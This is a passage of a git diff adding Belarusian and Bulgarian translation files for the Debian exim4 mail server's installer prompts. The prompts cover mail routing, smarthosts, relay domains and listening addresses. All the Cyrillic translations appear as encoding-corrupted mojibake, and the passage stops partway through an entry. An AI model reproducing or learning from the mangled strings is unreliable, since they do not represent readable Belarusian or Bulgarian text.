+#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Калі гÑÑ‚Ð°Ñ ÑÑ–ÑÑ‚Ñма атрымлівае пошту толькі ад лакальных Ñлужбаў, Ñ– нічога не " +"атрымлівае з іншых вузлоў, лепей забараніць Ð²Ð¾Ð½ÐºÐ°Ð²Ñ‹Ñ Ð´Ð°Ð»ÑƒÑ‡Ñнні да лакальнага " +"дÑману Exim. У выраз 'Ð»Ð°ÐºÐ°Ð»ÑŒÐ½Ñ‹Ñ Ñлужбы' ўваходзÑць Ñ– Ð¿Ð°ÑˆÑ‚Ð¾Ð²Ñ‹Ñ Ð¿Ñ€Ð°Ð³Ñ€Ð°Ð¼Ñ‹ " +"(MUA), ÑÐºÑ–Ñ Ð´Ð°Ð»ÑƒÑ‡Ð°ÑŽÑ†Ñ†Ð° толькі да localhost, а такÑама fetchmail. Каб " +"забараніць праÑлухоўванне публічных Ñеткавых інтÑрфÑйÑаў, увÑдзіце тут " +"127.0.0.1. " + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "Выконваць мінімальную колькаÑць DNS-запытаў (Dial-on-Demand)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"У звычайным Ñ€Ñжыме працы Exim робіць праверкі DNS Ð¿Ð°Ð´Ñ‡Ð°Ñ Ð·Ð°Ð¿ÑƒÑку, а такÑама " +"Ð¿Ð°Ð´Ñ‡Ð°Ñ Ð°Ñ‚Ñ€Ñ‹Ð¼Ð°Ð½Ð½Ñ Ð°Ð»ÑŒÐ±Ð¾ адпраўкі пошты. ГÑта патрÑбна Ð´Ð»Ñ Ð²ÑÐ´Ð·ÐµÐ½Ð½Ñ Ð¶ÑƒÑ€Ð½Ð°Ð»Ð°Ñž Ñ– " +"Ð´Ð·ÐµÐ»Ñ Ñ‚Ð°Ð³Ð¾, каб зменшчыць колькаÑць жорÑтка запраграмаваных значÑннÑÑž у " +"наладках." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Калі гÑÑ‚Ð°Ñ ÑÑ–ÑÑ‚Ñма не Ð¿Ð°Ð´ÐºÐ»ÑŽÑ‡Ð°Ð½Ð°Ñ ÑžÐ²ÐµÑÑŒ Ñ‡Ð°Ñ Ð´Ð° паўнавартаÑнай DNS-Ñлужбы " +"(напрыклад, калі ўжываецца dialup-злучÑнне з Ñецівам па Ñхеме dial-on-" +"demand), такі Ñ€Ñжым працы можа мець Ð½ÐµÐ¿Ð°Ð¶Ð°Ð´Ð°Ð½Ñ‹Ñ Ð½Ð°ÑтупÑтвы. Ðапрыклад, " +"запуÑк Exim альбо праглÑданне чаргі (нават калі Ñž ёй нÑма паведамленнÑÑž) " +"можа быць прычынай аплочанага dial-up злучÑннÑ." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Калі Ð’Ð°ÑˆÐ°Ñ ÑÑ–ÑÑ‚Ñма выкарыÑтоўвае Ñхему Dial-on-Demand, пазначце гÑÑ‚Ñ‹ " +"параметр. Калі ÑÑ–ÑÑ‚Ñма мае Ñталае злучÑнне з Ñецівам, гÑÑ‚Ñ‹ параметр Ñ‚Ñ€Ñба " +"адключыць. " + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "Ðаладкі паштовага Ñервера" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Размеркаваць наладкі па маленькіх файлах?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Пакет exim4 можа выкарыÑтоўваць альбо адзін ÑуцÑльны файл наладак (/etc/" +"exim4/exim4.conf.template) альбо шÑраг дробных файлаў, пабудаваных на " +"падÑтаве прыкладна пÑцідзеÑÑці аÑобных шаблонаў з дырÑкторыі /etc/exim4/conf." +"d." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"СуцÑльны файл наладак больш прыдатны Ð´Ð»Ñ Ð¼Ð°ÑˆÑ‚Ð°Ð±Ð½Ñ‹Ñ… зменаў Ñ– ўвогуле лічыцца " +"больш прыдатным Ð´Ð»Ñ ÑƒÑтойлівай працы. У той жа Ñ‡Ð°Ñ Ð½Ð°Ð»Ð°Ð´ÐºÐ° шÑрагам дробных " +"файлаў больш Ð·Ñ€ÑƒÑ‡Ð½Ð°Ñ Ð´Ð»Ñ Ð¼Ð°Ð»ÐµÐ½ÑŒÐºÑ–Ñ… выпраўленнÑÑž, але Ñ‚Ð°ÐºÐ°Ñ ÐºÐ°Ð½Ñ„Ñ–Ð³ÑƒÑ€Ð°Ñ†Ñ‹Ñ " +"больш Ñ…Ñ€ÑƒÐ¿ÐºÐ°Ñ Ñ– Ñе лÑгчÑй зламаць неўважлівым Ñ€Ñдагаваннем. " + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"Больш інфармацыі пра дыÑкуÑÑ–ÑŽ адноÑна двух падыходаў можна знайÑці Ñž " +"датычных Debian файлах README з дырÑкторыі /usr/share/doc/exim4-base. " + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Хаваць лакальнае Ñ–Ð¼Ñ Ð¿Ð¾ÑˆÑ‚Ñ‹ Ñž зыходзÑчых паведамленнÑÑ…?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Загалоўкі пошты, ÑÐºÐ°Ñ Ð½Ð°ÐºÑ–Ñ€Ð¾ÑžÐ²Ð°ÐµÑ†Ñ†Ð° вонкі, можна змÑніць такім чынам, каб " +"Ñна выглÑдала згенераванай на іншай ÑÑ–ÑÑ‚Ñме. У гÑтым выпадку значÑнні " +"'${mailname}','localhost' ды '${dc_other_hostnames}' будуць Ð·Ð¼ÐµÐ½ÐµÐ½Ñ‹Ñ Ñž палÑÑ… " +"From, Reply-To, Sender ды Return-Path. " + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "фармат mbox у /var/mail/" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "Фармат Maildir у хатнÑй дырÑкторыі карыÑтальніка" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "СпоÑаб даÑтаўкі Ð´Ð»Ñ Ð»Ð°ÐºÐ°Ð»ÑŒÐ½Ð°Ð¹ пошты:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim можа захоўваць лакальна даÑтаўленую пошту Ñž розных фарматах. Ðайбольш " +"чаÑта ўжываюцца mbox ды Maildir. Фармат mbox выкарыÑтоўвае адзін файл Ð´Ð»Ñ " +"ÑžÑёй паштовай Ñкрынкі, Ñкі будзе захоўвацца Ñž /var/mail. У фармаце Maildir " +"кожнае паведамленне захоўваецца Ñž аÑобным файле Ñž дырÑкторыі ~/Maildir/." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Варта звÑрнуць увагу, што большаÑць праграм Ð´Ð»Ñ Ð¿Ñ€Ð°Ñ†Ñ‹ з поштай у Debian " +"паводле Ñтандартных наладак чакаюць выкарыÑÑ‚Ð°Ð½Ð½Ñ Ñ„Ð°Ñ€Ð¼Ð°Ñ‚Ñƒ mbox Ð´Ð»Ñ Ð»Ð°ÐºÐ°Ð»ÑŒÐ½Ð°Ð¹ " +"даÑтаўкі пошты. " diff --git a/debian/po/bg.po b/debian/po/bg.po new file mode 100644 index 0000000..9a7e676 --- /dev/null +++ b/debian/po/bg.po @@ -0,0 +1,809 @@ +# translation of exim4_debian_po_bg.po to Bulgarian +# Translators, if you are not familiar with the PO format, gettext +# documentation is worth reading, especially sections dedicated to +# this format, e.g. by running: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# Some information specific to po-debconf are available at +# /usr/share/doc/po-debconf/README-trans +# or http://www.debian.org/intl/l10n/po-debconf/README-trans +# Developers do not need to manually edit POT or PO files. +# +# Ognyan Kulev <ogi@fmi.uni-sofia.bg>, 2004. +# Damyan Ivanov <dam@modsoftsys.com>, 2006, 2007. +msgid "" +msgstr "" +"Project-Id-Version: exim4\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2007-07-06 13:11+0300\n" +"Last-Translator: Damyan Ivanov <dam@modsoftsys.com>\n" +"Language-Team: Bulgarian <dict@fsa-bg.org>\n" +"Language: bg\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Generator: KBabel 1.11.4\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "Премахване на неизпратената поща от опашката?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"Ð’ директориÑта /var/spool/exim4/input/ има поща, коÑто още не е изпратена. " +"Премахването на Exim ще оÑтави тази поща да чака, докато не инÑталирате Exim " +"отново." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"Ðко изберете да запазите опашката, ÑъобщениÑта в Ð½ÐµÑ Ñ‰Ðµ бъдат доÑтавени при " +"поÑледваща нова инÑÑ‚Ð°Ð»Ð°Ñ†Ð¸Ñ Ð½Ð° Exim." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "ÐаÑтройте exim4-config, а не този пакет" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"КонфигурациÑта на Exim4 е отделена в отделен пакет - exim4-config. Ðко " +"иÑкате да промените наÑтройките на Exim4, използвайте командата „dpkg-" +"reconfigure exim4-config“." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "Интернет Ñайт; пощата Ñе получава и изпраща чрез SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "пощата Ñе изпраща чрез smarthost; получава Ñе чрез SMTP или fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "пощата Ñе изпраща чрез smarthost; нÑма локална поща" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "Ñамо локална поща; без мрежа" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "без наÑтройка заÑега" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Базова наÑтройка на пощата:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "Изберете базова наÑтройка, коÑто най-добре отразÑва Вашите нужди." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"СиÑтемите Ñ Ð´Ð¸Ð½Ð°Ð¼Ð¸Ñ‡ÐµÐ½ IP адреÑ, включително тези, които използват dial-up за " +"доÑтъп до Интернет, обикновено Ñе наÑтройват да изпращат изходÑщата поща към " +"друга машина, наричана „smarthost“. Това Ñе прави защото много пощенÑки " +"ÑиÑтеми в Интернет блокират пощата, приÑтигаща от динамични IP адреÑи като " +"мÑрка Ñрещу нежелана поща (spam)." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"СиÑтема Ñ Ð´Ð¸Ð½Ð°Ð¼Ð¸Ñ‡ÐµÐ½ IP Ð°Ð´Ñ€ÐµÑ Ð¼Ð¾Ð¶Ðµ да има или да нÑма вътрешна поща " +"(препоръчително е пощата за „root“ и „postmaster“ да Ñе доÑÑ‚Ð°Ð²Ñ Ð²Ð¸Ð½Ð°Ð³Ð¸ " +"локално)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "ÐаиÑтина ли желаете да оÑтавите пощенÑката ÑиÑтема без наÑтройка?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"ПощенÑката ÑиÑтема ще бъде неизползваема докато не бъде наÑтроена. " +"ÐаÑтройването може да Ñтане и по-къÑно - ръчно или чрез изпълнение на „dpkg-" +"reconfigure exim4-config“ като root." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "ПощенÑко име на ÑиÑтемата:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"„ПощенÑкото име“ Ñе използва за допълване на пощенÑки адреÑи без домейн." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Това име ще бъде използвано и от други програми и Ñ‚Ñ€Ñбва да бъде пълно име " +"на домейн (FQDN – Fully Qualified Domain Name)." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Ðапример, ако даден пощенÑки Ð°Ð´Ñ€ÐµÑ Ð½Ð° този компютър е foo@example.org, то " +"правилното пощенÑко име е example.org." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Ðко пренапиÑването на адреÑите (rewriting) е активирано, това име нÑма да Ñе " +"показва в редовете From: на изходÑщата поща." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Други направлениÑ, за които да бъде приемана поща:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Въведете ÑпиÑък на домейни, разделени Ñ Ñ‚Ð¾Ñ‡ÐºÐ° и запетаÑ, за които тази " +"машина ще бъде Ñчитана за крайна цел. Тези домейни обикновено Ñе наричат " +"„локални домейни“. Към ÑпиÑъка автоматично Ñе добавÑÑ‚ името на хоÑта " +"(${fqdn}) и „localhost“." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"По подразбиране вÑички домейни Ñе третират еднакво. Ðко например a.example и " +"b.example за локални домейни, пощата за „acc@a.example“ и „acc@b.example“ ще " +"бъде доÑтавена на едно и Ñъщо мÑÑто. Ðко различните домейни Ñ‚Ñ€Ñбва да Ñе " +"третират различно, Ñ‚Ñ€Ñбва ръчно да промените файловете Ñ Ð½Ð°Ñтройките." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Домейни, чиÑто поща да бъде препредавана (relay):" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Въведете ÑпиÑък от домейни, разделени Ñ Ñ‚Ð¾Ñ‡ÐºÐ° и запетаÑ, за които тази " +"ÑиÑтема ще приема поща за препращане, например като резервен пощенÑки Ñървър " +"(MX) или пощенÑки шлюз. СиÑтемата ще приема поща за тези домейни от " +"произволни меÑта в Интернет и ще Ñ Ð´Ð¾ÑÑ‚Ð°Ð²Ñ Ñпоред локално-дефинираните " +"правила." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "" +"Ðе въвеждайте локалните домейни. За група домейни можете да използвате „*“. " +"Ðапример „*.domain.example“ означава да Ñе приема за препращане пощата, " +"адреÑирана за вÑеки под-домейн на „domain.example“." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Машини, пощата от които да бъде препредавана:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Въведете ÑпиÑък от IP адреÑни диапазони, разделени Ñ Ñ‚Ð¾Ñ‡ÐºÐ° и запетаÑ, от " +"които тази ÑиÑтема да приема и препредава поща, изпълнÑвайки функциите на " +"smarthost." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Използвайте ÑÑ‚Ð°Ð½Ð´Ð°Ñ€Ñ‚Ð½Ð¸Ñ Ñ„Ð¾Ñ€Ð¼Ð°Ñ‚ за адреÑни диапазони „адреÑ/" +"дължина“ (например 194.222.242.0/24 или 5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Ð’ Ñлучай, че тази ÑиÑтема не Ñ‚Ñ€Ñбва да функционира като smarthost на никого, " +"то оÑтавете полето празно." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Видим домейн за локалните потребители:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"ÐаÑтройката за Ñкриването на локалното пощенÑко име е активирана. Ðеобходимо " +"е да въведете домейн, който да бъде използван за пощата, изпращана от " +"локалните потребители." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "IP Ð°Ð´Ñ€ÐµÑ Ð¸Ð»Ð¸ име на smarthost за изходÑщата поща:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Въведете IP Ð°Ð´Ñ€ÐµÑ Ð¸Ð»Ð¸ име на пощенÑки Ñървър (smarthost), който да Ñе " +"използва за изпращане на изходÑщата поща. Ðко този Ñървър приема поща Ñамо " +"на порт, различен от TCP/25, добавете две двоеточиÑ, поÑледвани от номера на " +"порта. (например smarthost.example:587 или 192.168.254.254::2525). " +"ДвоеточиÑта в IPv6 адреÑите Ñ‚Ñ€Ñбва да Ñе въвеждат по два пъти." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Ð’ Ñлучай, че smarthost-Ñървърът изиÑква удоÑтоверÑваме, допълнителна " +"Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð·Ð° наÑтройките има във файловете в /usr/share/doc/exim4-base/." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Получател на пощата за root и postmaster:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"Пощата за „postmaster“ и „root“, както и за други ÑиÑтемни потребители " +"Ñ‚Ñ€Ñбва да бъде пренаÑочена към админиÑтратора на ÑиÑтемата." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Ðко оÑтавите полето празно, пощата ще бъде запиÑвана във /var/mail/mail, " +"което не Ñе препоръчва." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Пощата за postmaster обикновено Ñ‚Ñ€Ñбва да бъде четена на ÑиÑтемата, за коÑто " +"е предназначена, вмеÑто да бъде пренаÑочвана другаде, така че поне един от " +"потребителите, които Ñте избрали, не Ñ‚Ñ€Ñбва да пренаÑочва пощата Ñи към " +"друга машина. Използвайте предÑтавката „real-“, за да принудите локално " +"доÑтавÑне на пощата." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "Въведете едно или повече потребителÑки имена, разделени Ñ Ð¸Ð½Ñ‚ÐµÑ€Ð²Ð°Ð»." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "IP адреÑи, на които да Ñе чака за SMTP връзки:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Въведете ÑпиÑък Ñ IP адреÑи, разделени Ñ Ñ‚Ð¾Ñ‡ÐºÐ° и запетаÑ. ПроцеÑÑŠÑ‚ за " +"приемане на SMTP връзки на Exim ще очаква връзки на вÑички изброени адреÑи." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Ðко оÑтавите това поле празно, Exim ще чака за SMTP връзки на вÑички налични " +"мрежови интерфейÑи." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Ðко тази ÑиÑтема получава поща Ñамо от локални уÑлуги като fetchmail или " +"програми за четене на поща (MUA), които Ñе Ñвързват Ñ localhost, " +"препоръчително е да забраните външните връзки към Exim чрез въвеждане на " +"„127.0.0.1“. Това ще забрани връзките от вÑички общодоÑтъпни мрежови " +"интерфейÑи." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "Поддържане на минимален брой на заÑвките към DNS (Dial-on-Demand)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"Ð’ нормален режим на работа Exim прави заÑвки към DNS при Ñтартиране, при " +"получаване, при изпращане на поща и Ñ‚.н. Това Ñе прави за целите на " +"хроникирането и за да Ñе избегне въвеждането на твърдо зададени ÑтойноÑти " +"във файловете Ñ Ð½Ð°Ñтройки." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Ðко ÑиÑтемата ви нÑма поÑтоÑнен доÑтъп до DNS-Ñървър (например ако " +"използвате dial-up Ñ Ð½Ð°Ð±Ð¸Ñ€Ð°Ð½Ðµ при нужда), това може да има нежелани " +"поÑледÑтвиÑ. Ðапример Ñтартирането на Exim или обработването на опашката " +"(дори да е празна) може да предизвика активиране на dial-up-връзката, което " +"Ñтрува пари." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Изберете тази наÑтройка ако ÑиÑтемата ви използва набиране при нужда (dial-" +"on-demand). Ðко използвате поÑтоÑнна връзка Ñ Ð˜Ð½Ñ‚ÐµÑ€Ð½ÐµÑ‚, не активирайте тази " +"наÑтройка." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "ÐаÑтройка на пощенÑÐºÐ¸Ñ Ñървър" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "РазделÑне на наÑтройката в малки файлове?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Пакетите на Exim4 могат да използват два подхода към наÑтройката. При " +"„монолитната наÑтройка“ вÑички параметри Ñа в един голÑм файл (/etc/exim4/" +"exim4.conf.template). При „разделената наÑтройка“, параметрите Ñа " +"разпръÑнати в около 50 по-малки файла в /etc/exim4/conf.d." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller 